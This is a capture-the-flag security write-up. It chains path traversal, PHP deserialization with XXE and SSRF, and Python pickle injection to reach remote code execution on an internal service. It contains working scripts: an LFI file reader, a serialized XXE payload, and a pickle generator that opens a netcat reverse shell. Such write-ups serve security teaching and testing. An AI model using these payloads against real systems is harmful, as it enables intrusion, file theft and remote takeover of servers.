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h1-5411-CTF: Remote Command Execution in a internal server to get the flag file

2018-09-28T14:52:45

Description

**Summary:** After source code disclosure using a LFI vulnerability and using PHP object injection with XXE I was able to find an internal service at port 1337. Using the SSRF through XXE I sent a HTTP request to this internal service and discovered a python object injection using status parameter, with this vector I was able to get RCE on the server located at 104.248.121.85. **Description:** _LFI_ The *template* parameter at /api/generate.php is vulnerable to LFI. So I could get all relevant source code from the application using *type* as text. I created a python script to help: ``` import requests import sys url = 'http://h1-5411.h1ctf.com/api/' endpoint = 'generate.php' headers = {'Cookie':'PHPSESSID=v6a28uv6ad2e9ivr02hajqao4g'} payload = {'template' : '../../../../../../..'+sys.argv[1], 'type' : 'text', 'top-text' : '.', 'bottom-text' :'.'} r = requests.post(url+endpoint, headers=headers, data=payload) json_response = r.json() file_url = json_response['meme_path'] print file_url r = requests.get(url+file_url) print r.text ``` Using Burp: {F352386} Some files read during my tests: 1. /etc/passwd 2. /etc/issue 3. /etc/resolv.conf 4. /etc/hosts 5. /var/log/apt/history.log 6. App source code _PHP Object Injection - Deserialization and XXE_ After read the code I discovered two endpoints for a future version, 2.0: File: header.php ``` <?php $pages = [ "generate.php" => "Meme Generator", "memes.php" => "Your Memes", // for version 2.0 // "import_memes_2.0.php" => "Import Memes", // "export_memes_2.0.php" => "Export Memes" ]; ?> ``` Looking into import_memes_2.0.php and export_memes_2.0.php I found an unserialization call using user input without validation, which is extremely dangerous. So I craft a payload serializing a *ConfigFile* object with XML in *config_raw* attribute, as __toString() method calls parse() witch then calls loadXML with libxml_disable_entity_loader ENABLED. So, we could obtain XXE and SSRF. Using PHP to create the payload: ``` <?php require_once('classes.php'); // Same I got using LFI $t = new ConfigFile('http://localhost/h1-5411/xml2'); $x = new Maintenance(); $o = [$t, $x ]; echo base64_encode(serialize($o)); ``` PHP Object example (b64 decoded): ``` a:2:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:276:"<?xml version='1.0' encoding='ISO-8859-1'?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]> <memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes> ";}i:1;O:11:"Maintenance":0:{}} ``` File: xml2 ``` <?xml version='1.0' encoding='ISO-8859-1'?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue' >]> <memes><toptext>&xxe;</toptext><bottomtext>A</bottomtext><template>TeMPLaTe123</template><type>XML</type></memes> ``` Then using the serialized object above (ConfigFile), I uploaded my memepak using /import_memes_2.0.php and got the /etc/issue file base64 encoded as one of my memes. __SSRF__ Using the above XXE we could manipulate the server to do requests for others internal services, as noted at source code there is a Maintenance service somewhere. Using the python exploit attached {F352404}, I could read files and do http/ftp requests. Although I could do a port scan using http/ftp/sftp requests, I was able to find the internal service using a process ID scan using /proc/{ID}/cmdline, which revealed: ``` /proc 1 ps-run 4 /bin/bash/opt/run/ctf-entrypoint 6 ssh-i/app/92df63a566f599a094153febb133b99f87a161b5-oStrictHostKeyChecking=no-f-N-L1337:localhost:1337maintenance@104.248.121.85 8 /bin/sh/usr/sbin/apache2ctl-DFOREGROUND ``` So I found a ssh tunnel to another service at 104.248.121.85. Using the python script above, I started to interact with http://localhost:1337/ : {F352398} __Python Object Injection - Pickle__ Using the *debug* parameter I realized that *status* parameter should be base64 encoded. After that I could see a pickle base64 encoded as status. My first try was to request a status-update using a malicious pickle as status: Creating a malicious pickle with a reverse shell: ``` import cPickle import os import sys import base64 DEFAULT_COMMAND = "nc ███████ 9300 -e /bin/bash" COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND class PickleRce(object): def __reduce__(self): return (os.system,(COMMAND,)) print base64.b64encode(cPickle.dumps(PickleRce())) ``` Sending the above Pickle I got a connect back from the server. {F352400} ## Steps To Reproduce: I created some python scripts to reproduce. 1. Use {F352403} to read files from the server (LFI) 2. Use {F352404} to read files and do requests to internal services. Found http://localhost:1337 3. Use {F352406} to create a pickle payload for any OS command. With this payload, use {F352404} to send a request to http://localhost:1337/update-status?debug=1&status={PAYLOAD} ## Impact Compromise data and servers.